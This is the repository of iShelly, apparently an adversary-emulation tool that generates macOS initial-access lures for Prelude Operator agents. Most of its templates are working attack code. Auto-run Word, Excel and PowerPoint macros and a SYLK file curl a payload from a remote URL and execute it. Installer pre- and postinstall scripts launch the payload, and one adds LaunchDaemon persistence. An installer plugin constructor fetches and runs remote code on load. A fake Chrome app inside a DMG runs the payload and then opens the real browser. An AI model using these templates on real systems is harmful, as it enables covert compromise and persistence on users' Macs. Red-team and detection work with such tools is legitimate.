├── requirements.txt ├── assets ├── logo.png └── iShelly.gif ├── src ├── Templates │ ├── Installer_Plugins │ │ ├── SpecialDelivery │ │ │ ├── en.lproj │ │ │ │ ├── InfoPlist.strings │ │ │ │ └── Localizable.strings │ │ │ ├── MyInstallerPane.h │ │ │ ├── InstallerSections.plist │ │ │ ├── Info.plist │ │ │ ├── Base.lproj │ │ │ │ └── MyInstallerPane.xib │ │ │ └── MyInstallerPane.m │ │ └── SpecialDelivery.xcodeproj │ │ │ ├── project.xcworkspace │ │ │ ├── contents.xcworkspacedata │ │ │ ├── xcuserdata │ │ │ │ ├── xorrior.xcuserdatad │ │ │ │ │ └── UserInterfaceState.xcuserstate │ │ │ │ └── itsatrap.xcuserdatad │ │ │ │ │ └── UserInterfaceState.xcuserstate │ │ │ └── xcshareddata │ │ │ │ └── IDEWorkspaceChecks.plist │ │ │ ├── xcuserdata │ │ │ └── xorrior.xcuserdatad │ │ │ │ └── xcschemes │ │ │ │ └── xcschememanagement.plist │ │ │ ├── xcshareddata │ │ │ └── xcschemes │ │ │ │ └── SpecialDelivery.xcscheme │ │ │ └── project.pbxproj │ ├── Installer_Package_with_LD │ │ └── simple-package │ │ │ └── scripts │ │ │ ├── postinstall │ │ │ ├── preinstall │ │ │ └── files │ │ │ └── com.simple.plist │ ├── DMG │ │ ├── Chrome.app │ │ │ └── Contents │ │ │ │ ├── MacOS │ │ │ │ └── Application Stub │ │ │ │ ├── Resources │ │ │ │ └── AutomatorApplet.icns │ │ │ │ ├── Info.plist │ │ │ │ └── document.wflow │ │ └── settings.json │ ├── Installer_Package │ │ └── simple-package │ │ │ └── scripts │ │ │ └── preinstall │ ├── Office_for_Mac │ │ ├── macro_sylk_excel.txt │ │ ├── macro_vba_excel.txt │ │ ├── macro_vba_word.txt │ │ └── macro_vba_ppt.txt │ ├── Installer_Package_postinstall │ │ └── simple-package │ │ │ └── scripts │ │ │ └── postinstall │ ├── Installer_Package_JS_Script │ │ ├── Scripts │ │ │ └── installcheck │ │ └── distribution.xml │ └── Installer_Package_JS │ │ └── distribution.xml ├── agents.json └── modules │ ├── modules.py │ └── common.py ├── LICENSE.txt ├── README.md ├── iShelly.py └── .gitignore /requirements.txt: -------------------------------------------------------------------------------- 1 | pick 2 | requests 3 | dmgbuild 4 | pyyaml 5 | psutil 6 | -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/assets/logo.png -------------------------------------------------------------------------------- /assets/iShelly.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/assets/iShelly.gif -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/en.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- 1 | InstallerSectionTitle = "SpecialDelivery"; 2 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/en.lproj/Localizable.strings: -------------------------------------------------------------------------------- 1 | /* Localized versions of Info.plist keys */ 2 | 3 | "PaneTitle" = "SpecialDelivery"; 4 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package_with_LD/simple-package/scripts/postinstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | launchctl load -w "/Library/LaunchDaemons/com.simple.agent.plist" 3 | exit 0 4 | -------------------------------------------------------------------------------- /src/Templates/DMG/Chrome.app/Contents/MacOS/Application Stub: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | /Applications/Chrome.app/Contents/MacOS/operator-payload -name TECHNIQUE_NAME & 3 | open -a "Google Chrome" 4 | -------------------------------------------------------------------------------- /src/Templates/DMG/Chrome.app/Contents/Resources/AutomatorApplet.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/DMG/Chrome.app/Contents/Resources/AutomatorApplet.icns -------------------------------------------------------------------------------- /src/Templates/Installer_Package_with_LD/simple-package/scripts/preinstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cp "files/operator-payload" "/Library/Application Support/" 3 | cp "files/com.simple.plist" "/Library/LaunchDaemons/com.simple.agent.plist" 4 | exit 0 5 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package/simple-package/scripts/preinstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cp files/operator-payload "/Library/Application Support/" 3 | chmod +x /Library/Application\ Support/operator-payload 4 | nohup bash -c "/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME" & 5 | exit 0 6 | -------------------------------------------------------------------------------- /src/Templates/Office_for_Mac/macro_sylk_excel.txt: -------------------------------------------------------------------------------- 1 | ID;P 2 | O;E 3 | NN;NAuto_open;ER101C1;KD00mFist;F 4 | C;X1;Y101;K0;ECALL("libc.dylib","system","JC","/usr/bin/curl -k REMOTE_PAYLOAD_URL -o operator-payload && chmod +x operator-payload && ./operator-payload -name TECHNIQUE_NAME &") 5 | C;X1;Y102;K0;EHALT() 6 | E -------------------------------------------------------------------------------- /src/Templates/Office_for_Mac/macro_vba_excel.txt: -------------------------------------------------------------------------------- 1 | Sub Workbook_Open() 2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ") 3 | MacScript("do shell script ""chmod +x operator-payload""") 4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""") 5 | End Sub 6 | -------------------------------------------------------------------------------- /src/Templates/Office_for_Mac/macro_vba_word.txt: -------------------------------------------------------------------------------- 1 | Sub Document_Open() 2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ") 3 | MacScript("do shell script ""chmod +x operator-payload""") 4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""") 5 | End Sub 6 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package_postinstall/simple-package/scripts/postinstall: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cp files/operator-payload "/Library/Application Support/" 3 | chmod +x /Library/Application\ Support/operator-payload 4 | nohup bash -c "/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME" & 5 | exit 0 6 | -------------------------------------------------------------------------------- /src/Templates/Office_for_Mac/macro_vba_ppt.txt: -------------------------------------------------------------------------------- 1 | Sub App_AfterPresentationOpen() 2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ") 3 | MacScript("do shell script ""chmod +x operator-payload""") 4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""") 5 | End Sub 6 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/xorrior.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/xorrior.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /src/Templates/Installer_Package_JS_Script/Scripts/installcheck: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | curl -k 'REMOTE_PAYLOAD_URL' -o /Users/$USER/Library/Application\ Support/operator-payload 3 | chmod +x /Users/$USER/Library/Application\ Support/operator-payload 4 | /Users/$USER/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME & 5 | exit 0 6 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/itsatrap.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/itsatrap.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/MyInstallerPane.h: -------------------------------------------------------------------------------- 1 | // 2 | // MyInstallerPane.h 3 | // SpecialDelivery 4 | // 5 | // Created by xorrior on 5/2/20. 6 | // Copyright © 2020 xorrior. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface MyInstallerPane : InstallerPane 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /src/agents.json: -------------------------------------------------------------------------------- 1 | { 2 | "PneumaEX": { 3 | "supported_executables": ["exe"], 4 | "outpost_filename": "pneumaEX/v1.6/pneumaEX.zip", 5 | "needs-compilation": true 6 | }, 7 | "Pneuma": { 8 | "supported_executables": ["exe"], 9 | "outpost_filename": "pneuma-darwin", 10 | "needs-compilation": false 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /src/Templates/DMG/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "Chrome", 3 | "background": "builtin-arrow", 4 | "format": "UDZO", 5 | "compression-level": 9, 6 | "window": { "position": { "x": 100, "y": 100 }, 7 | "size": { "width": 640, "height": 280 } }, 8 | "contents": [ 9 | { "x": 140, "y": 120, "type": "file","path": "Chrome.app" }, 10 | { "x": 500, "y": 120, "type": "link", "path": "/Applications" } 11 | ] 12 | } 13 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/InstallerSections.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SectionOrder 6 | 7 | Introduction 8 | ReadMe 9 | License 10 | SpecialDelivery.bundle 11 | Target 12 | PackageSelection 13 | Install 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package_with_LD/simple-package/scripts/files/com.simple.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | com.simple.agent 7 | ProgramArguments 8 | 9 | /Library/Application Support/operator-payload 10 | -name 11 | TECHNIQUE_NAME 12 | 13 | KeepAlive 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/xcuserdata/xorrior.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | SpecialDelivery.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | SuppressBuildableAutocreation 14 | 15 | C20B672E245E000100CEE52C 16 | 17 | primary 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Automox Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package_JS_Script/distribution.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Package Installer 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | install.pkg 16 | 17 | 32 | 33 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | $(PRODUCT_BUNDLE_PACKAGE_TYPE) 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleVersion 20 | 1 21 | InstallerSectionTitle 22 | SpecialDelivery 23 | NSHumanReadableCopyright 24 | Copyright © 2020 xorrior. All rights reserved. 25 | NSMainNibFile 26 | MyInstallerPane 27 | NSPrincipalClass 28 | InstallerSection 29 | 30 | 31 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/Base.lproj/MyInstallerPane.xib: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /src/Templates/Installer_Package_JS/distribution.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Package Installer 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | install.pkg 16 | 17 | 40 | 41 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery/MyInstallerPane.m: -------------------------------------------------------------------------------- 1 | // 2 | // MyInstallerPane.m 3 | // SpecialDelivery 4 | // 5 | // Created by xorrior on 5/2/20. 6 | // Copyright © 2020 xorrior. All rights reserved. 7 | // 8 | 9 | #import "MyInstallerPane.h" 10 | #include 11 | #include 12 | #import 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | // This code executes when the bundle is initially loaded by the InstallerRemotePluginService 21 | __attribute__((constructor)) static void detonate() 22 | { 23 | 24 | NSTask *task = [[NSTask alloc] init]; 25 | [task setLaunchPath:@"/bin/bash"]; 26 | [task setArguments:@[ @"-c", @"/usr/bin/curl -k 'REMOTE_PAYLOAD_URL' -o /Users/$USER/Library/Application\\ Support/operator-payload; chmod +x /Users/$USER/Library/Application\\ Support/operator-payload; /Users/$USER/Library/Application\\ Support/operator-payload -name TECHNIQUE_NAME &" ]]; 27 | [task launch]; 28 | 29 | } 30 | 31 | @implementation MyInstallerPane 32 | 33 | - (NSString *)title 34 | { 35 | return [[NSBundle bundleForClass:[self class]] localizedStringForKey:@"PaneTitle" value:nil table:nil]; 36 | } 37 | 38 | - (void)willEnterPane:(InstallerSectionDirection)dir { 39 | // This winodw 40 | } 41 | 42 | - (void) willExitPane:(InstallerSectionDirection)dir { 43 | return; 44 | } 45 | 46 | - (BOOL)shouldExitPane:(InstallerSectionDirection)dir 47 | { 48 | return YES; 49 | } 50 | 51 | @end 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Logo](/assets/logo.png?raw=true) 2 | 3 | iShelly is tool to generate macOS initial access vectors using [Prelude Operator](https://www.prelude.org/) payloads. 4 | 5 | It automates the following: 6 | - Compilation of Prelude Operator agents 7 | - Staging of payloads 8 | - Generation of initial access vectors on macOS. This includes various installer and disk image techniques (for a complete list, see the list of currently supported modules) 9 | 10 | ![iShellyDemo](/assets/iShelly.gif) 11 | 12 | # Currently supports: 13 | 14 | Agents: 15 | 16 | - PneumaEX 17 | - Pneuma (supported on free Prelude Operator license!) 18 | 19 | Modules: 20 | 21 | - Installer Package w/ only preinstall script 22 | - Installer Package w/ only postinstall script 23 | - Installer Package w/ Launch Daemon for Persistence - contains both pre/postinstall scripts! 24 | - Installer Package w/ Installer Plugin 25 | - Installer Package w/ JavaScript Functionality embedded 26 | - Installer Package w/ JavaScript Functionality in Script 27 | - Disk Image (DMG file) 28 | - Macro VBA 29 | - Macro SYLK with Excel 30 | 31 | 32 | # Installation 33 | 34 | This tool will only run on macOS, since the package builders are native to macOS. 35 | 36 | 1. Use your favorite virtualenv tool to create a virtualenv. 37 | 2. Launch Operator tool on macOS 38 | 3. `pip3 install -r requirements` 39 | 4. `python3 iShelly.py` 40 | 41 | # Release Notes 42 | 43 | ## 1.1 44 | - Added a temporary patch to fix https://github.com/preludeorg/pneuma/pull/115 45 | - Added support for Pneuma. This means you can use iShelly on the free version of Prelude Operator 46 | - Added support for agent names, which are passed on the command line. This makes it easy to identify agents in Operator that are tied to a specific initial access technique. It also makes it easy for the blue team to hunt for a specific technique: use the cmdline. 47 | 48 | # Credit 49 | 50 | This project is a rewrite of [Mystikal](https://github.com/D00MFist/Mystikal), an initial access payload generator for the Mythic c2 platform written by Leo Pitt. 51 | -------------------------------------------------------------------------------- /iShelly.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import os 4 | from pick import pick 5 | from src.modules import modules, common 6 | import json 7 | 8 | 9 | def main(): 10 | global logger 11 | 12 | parser = common.get_parser() 13 | args = parser.parse_args() 14 | logger = common.get_logger(args) 15 | 16 | if not common.prereqs_present(): 17 | sys.exit() 18 | 19 | os.makedirs("./Payloads/", exist_ok=True) 20 | all_options = common.get_options() 21 | 22 | logger.debug("Generating: {}".format(all_options['procedure'])) 23 | c2 = common.C2(all_options) 24 | agent = common.Agent(c2, all_options) 25 | 26 | c2.get_payload() 27 | if all_options['needs-compilation']: 28 | c2.extract_zip() 29 | agent.build_operator_agent_config() 30 | agent.save_c2_profile_settings() 31 | agent.build_agent(all_options) 32 | agent.upload_payload() 33 | 34 | module = common.ModuleGenerator(agent) 35 | if all_options['procedure'] == 'Installer Package w/ only preinstall script': 36 | modules.install_pkg(module) 37 | elif all_options['procedure'] == 'Installer Package w/ only postinstall script': 38 | modules.install_pkg_postinstall(module) 39 | elif all_options['procedure'] == 'Installer Package w/ Launch Daemon for Persistence': 40 | modules.install_pkg_ld(module) 41 | elif all_options['procedure'] == 'Installer Package w/ Installer Plugin': 42 | modules.install_pkg_installer_plugin(module) 43 | elif all_options['procedure'] == 'Installer Package w/ JavaScript Functionality embedded': 44 | modules.install_pkg_js_embedded(module) 45 | elif all_options['procedure'] == 'Installer Package w/ JavaScript Functionality in Script': 46 | modules.install_pkg_js_script(module) 47 | elif all_options['procedure'] == 'Disk Image': 48 | modules.disk_image(module) 49 | elif all_options['procedure'] == 'Macro VBA Excel': 50 | modules.macro_vba_excel(module) 51 | elif all_options['procedure'] == 'Macro VBA PowerPoint': 52 | modules.macro_vba_ppt(module) 53 | elif all_options['procedure'] == 'Macro VBA Word': 54 | modules.macro_vba_word(module) 55 | elif all_options['procedure'] == 'Macro SYLK Excel': 56 | modules.macro_sylk_excel(module) 57 | 58 | print( 59 | '\n[*] Done generating package! Navigate to ./Payloads for payload.\n') 60 | if not args.debug: 61 | logger.debug( 62 | 'Cleaning payload staging directory.') 63 | module.clean_payload_staging() 64 | 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/xcshareddata/xcschemes/SpecialDelivery.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 32 | 33 | 43 | 44 | 50 | 51 | 57 | 58 | 59 | 60 | 62 | 63 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /src/Templates/DMG/Chrome.app/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | AMIsApplet 6 | 7 | AMStayOpen 8 | 9 | BuildMachineOSBuild 10 | 18A391024 11 | CFBundleAllowMixedLocalizations 12 | 13 | CFBundleDevelopmentRegion 14 | English 15 | CFBundleDocumentTypes 16 | 17 | 18 | CFBundleTypeExtensions 19 | 20 | * 21 | 22 | CFBundleTypeName 23 | Automator workflow file 24 | CFBundleTypeOSTypes 25 | 26 | **** 27 | 28 | CFBundleTypeRole 29 | Viewer 30 | 31 | 32 | CFBundleExecutable 33 | Application Stub 34 | CFBundleIconFile 35 | AutomatorApplet 36 | CFBundleIdentifier 37 | com.apple.automator.Chrome 38 | CFBundleInfoDictionaryVersion 39 | 6.0 40 | CFBundleName 41 | Chrome 42 | CFBundlePackageType 43 | APPL 44 | CFBundleShortVersionString 45 | 1.3 46 | CFBundleSignature 47 | ???? 48 | CFBundleSupportedPlatforms 49 | 50 | MacOSX 51 | 52 | CFBundleURLTypes 53 | 54 | CFBundleVersion 55 | 492 56 | DTCompiler 57 | com.apple.compilers.llvm.clang.1_0 58 | DTPlatformBuild 59 | 11O62d 60 | DTPlatformName 61 | macosx 62 | DTPlatformVersion 63 | 10.15.4 64 | DTSDKBuild 65 | 19F71 66 | DTSDKName 67 | macosx10.15internal 68 | DTXcode 69 | 1140 70 | DTXcodeBuild 71 | 11O62d 72 | LSMinimumSystemVersion 73 | 10.8 74 | LSUIElement 75 | 76 | NSAppleEventsUsageDescription 77 | This workflow needs to control other applications to run. 78 | NSAppleMusicUsageDescription 79 | This workflow needs access to your music to run. 80 | NSAppleScriptEnabled 81 | YES 82 | NSCalendarsUsageDescription 83 | This workflow needs access to your calendars to run. 84 | NSCameraUsageDescription 85 | This workflow needs access to your camera to run. 86 | NSContactsUsageDescription 87 | This workflow needs access to your contacts to run. 88 | NSHomeKitUsageDescription 89 | This workflow needs access to your HomeKit Home to run. 90 | NSMicrophoneUsageDescription 91 | This workflow needs access to your microphone to run. 92 | NSPhotoLibraryUsageDescription 93 | This workflow needs access to your photos to run. 94 | NSPrincipalClass 95 | NSApplication 96 | NSRemindersUsageDescription 97 | This workflow needs access to your reminders to run. 98 | NSServices 99 | 100 | NSSiriUsageDescription 101 | This workflow needs access to Siri to run. 102 | NSSystemAdministrationUsageDescription 103 | This workflow needs access to administer this system in order to run. 104 | UTExportedTypeDeclarations 105 | 106 | UTImportedTypeDeclarations 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /src/Templates/DMG/Chrome.app/Contents/document.wflow: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | AMApplicationBuild 6 | 492 7 | AMApplicationVersion 8 | 2.10 9 | AMDocumentVersion 10 | 2 11 | actions 12 | 13 | 14 | action 15 | 16 | AMAccepts 17 | 18 | Container 19 | List 20 | Optional 21 | 22 | Types 23 | 24 | com.apple.cocoa.string 25 | 26 | 27 | AMActionVersion 28 | 2.0.3 29 | AMApplication 30 | 31 | Automator 32 | 33 | AMParameterProperties 34 | 35 | COMMAND_STRING 36 | 37 | CheckedForUserDefaultShell 38 | 39 | inputMethod 40 | 41 | shell 42 | 43 | source 44 | 45 | 46 | AMProvides 47 | 48 | Container 49 | List 50 | Types 51 | 52 | com.apple.cocoa.string 53 | 54 | 55 | ActionBundlePath 56 | /System/Library/Automator/Run Shell Script.action 57 | ActionName 58 | Run Shell Script 59 | ActionParameters 60 | 61 | COMMAND_STRING 62 | open "/Applications/Google Chrome.app" 63 | CheckedForUserDefaultShell 64 | 65 | inputMethod 66 | 0 67 | shell 68 | /bin/zsh 69 | source 70 | 71 | 72 | BundleIdentifier 73 | com.apple.RunShellScript 74 | CFBundleVersion 75 | 2.0.3 76 | CanShowSelectedItemsWhenRun 77 | 78 | CanShowWhenRun 79 | 80 | Category 81 | 82 | AMCategoryUtilities 83 | 84 | Class Name 85 | RunShellScriptAction 86 | InputUUID 87 | 5B59EF6C-AFE0-471C-B8B8-B01F99661948 88 | Keywords 89 | 90 | Shell 91 | Script 92 | Command 93 | Run 94 | Unix 95 | 96 | OutputUUID 97 | F260B5E8-A838-40E3-8776-5BB768739F9A 98 | UUID 99 | C2666BFF-30FA-4681-B405-4E80EFBF4B30 100 | UnlocalizedApplications 101 | 102 | Automator 103 | 104 | arguments 105 | 106 | 0 107 | 108 | default value 109 | 0 110 | name 111 | inputMethod 112 | required 113 | 0 114 | type 115 | 0 116 | uuid 117 | 0 118 | 119 | 1 120 | 121 | default value 122 | 123 | name 124 | CheckedForUserDefaultShell 125 | required 126 | 0 127 | type 128 | 0 129 | uuid 130 | 1 131 | 132 | 2 133 | 134 | default value 135 | 136 | name 137 | source 138 | required 139 | 0 140 | type 141 | 0 142 | uuid 143 | 2 144 | 145 | 3 146 | 147 | default value 148 | 149 | name 150 | COMMAND_STRING 151 | required 152 | 0 153 | type 154 | 0 155 | uuid 156 | 3 157 | 158 | 4 159 | 160 | default value 161 | /bin/sh 162 | name 163 | shell 164 | required 165 | 0 166 | type 167 | 0 168 | uuid 169 | 4 170 | 171 | 172 | conversionLabel 173 | 0 174 | isViewVisible 175 | 176 | location 177 | 309.000000:252.000000 178 | nibPath 179 | /System/Library/Automator/Run Shell Script.action/Contents/Resources/Base.lproj/main.nib 180 | 181 | isViewVisible 182 | 183 | 184 | 185 | connectors 186 | 187 | workflowMetaData 188 | 189 | workflowTypeIdentifier 190 | com.apple.Automator.application 191 | 192 | 193 | 194 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.toptal.com/developers/gitignore/api/pycharm,macos,python 3 | # Edit at https://www.toptal.com/developers/gitignore?templates=pycharm,macos,python 4 | 5 | ### macOS ### 6 | # General 7 | .DS_Store 8 | .AppleDouble 9 | .LSOverride 10 | 11 | # Icon must end with two \r 12 | Icon 13 | 14 | 15 | # Thumbnails 16 | ._* 17 | 18 | # Files that might appear in the root of a volume 19 | .DocumentRevisions-V100 20 | .fseventsd 21 | .Spotlight-V100 22 | .TemporaryItems 23 | .Trashes 24 | .VolumeIcon.icns 25 | .com.apple.timemachine.donotpresent 26 | 27 | # Directories potentially created on remote AFP share 28 | .AppleDB 29 | .AppleDesktop 30 | Network Trash Folder 31 | Temporary Items 32 | .apdisk 33 | 34 | ### PyCharm ### 35 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 36 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 37 | 38 | # User-specific stuff 39 | .idea/**/workspace.xml 40 | .idea/**/tasks.xml 41 | .idea/**/usage.statistics.xml 42 | .idea/**/dictionaries 43 | .idea/**/shelf 44 | .idea 45 | 46 | # AWS User-specific 47 | .idea/**/aws.xml 48 | 49 | # Generated files 50 | .idea/**/contentModel.xml 51 | 52 | # Sensitive or high-churn files 53 | .idea/**/dataSources/ 54 | .idea/**/dataSources.ids 55 | .idea/**/dataSources.local.xml 56 | .idea/**/sqlDataSources.xml 57 | .idea/**/dynamic.xml 58 | .idea/**/uiDesigner.xml 59 | .idea/**/dbnavigator.xml 60 | 61 | # Gradle 62 | .idea/**/gradle.xml 63 | .idea/**/libraries 64 | 65 | # Gradle and Maven with auto-import 66 | # When using Gradle or Maven with auto-import, you should exclude module files, 67 | # since they will be recreated, and may cause churn. Uncomment if using 68 | # auto-import. 69 | # .idea/artifacts 70 | # .idea/compiler.xml 71 | # .idea/jarRepositories.xml 72 | # .idea/modules.xml 73 | # .idea/*.iml 74 | # .idea/modules 75 | # *.iml 76 | # *.ipr 77 | 78 | # CMake 79 | cmake-build-*/ 80 | 81 | # Mongo Explorer plugin 82 | .idea/**/mongoSettings.xml 83 | 84 | # File-based project format 85 | *.iws 86 | 87 | # IntelliJ 88 | out/ 89 | 90 | # mpeltonen/sbt-idea plugin 91 | .idea_modules/ 92 | 93 | # JIRA plugin 94 | atlassian-ide-plugin.xml 95 | 96 | # Cursive Clojure plugin 97 | .idea/replstate.xml 98 | 99 | # SonarLint plugin 100 | .idea/sonarlint/ 101 | 102 | # Crashlytics plugin (for Android Studio and IntelliJ) 103 | com_crashlytics_export_strings.xml 104 | crashlytics.properties 105 | crashlytics-build.properties 106 | fabric.properties 107 | 108 | # Editor-based Rest Client 109 | .idea/httpRequests 110 | 111 | # Android studio 3.1+ serialized cache file 112 | .idea/caches/build_file_checksums.ser 113 | 114 | ### PyCharm Patch ### 115 | # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721 116 | 117 | # *.iml 118 | # modules.xml 119 | # .idea/misc.xml 120 | # *.ipr 121 | 122 | # Sonarlint plugin 123 | # https://plugins.jetbrains.com/plugin/7973-sonarlint 124 | .idea/**/sonarlint/ 125 | 126 | # SonarQube Plugin 127 | # https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin 128 | .idea/**/sonarIssues.xml 129 | 130 | # Markdown Navigator plugin 131 | # https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced 132 | .idea/**/markdown-navigator.xml 133 | .idea/**/markdown-navigator-enh.xml 134 | .idea/**/markdown-navigator/ 135 | 136 | # Cache file creation bug 137 | # See https://youtrack.jetbrains.com/issue/JBR-2257 138 | .idea/$CACHE_FILE$ 139 | 140 | # CodeStream plugin 141 | # https://plugins.jetbrains.com/plugin/12206-codestream 142 | .idea/codestream.xml 143 | 144 | ### Python ### 145 | # Byte-compiled / optimized / DLL files 146 | __pycache__/ 147 | *.py[cod] 148 | *$py.class 149 | 150 | # C extensions 151 | *.so 152 | 153 | # Distribution / packaging 154 | .Python 155 | build/ 156 | develop-eggs/ 157 | dist/ 158 | downloads/ 159 | eggs/ 160 | .eggs/ 161 | lib/ 162 | 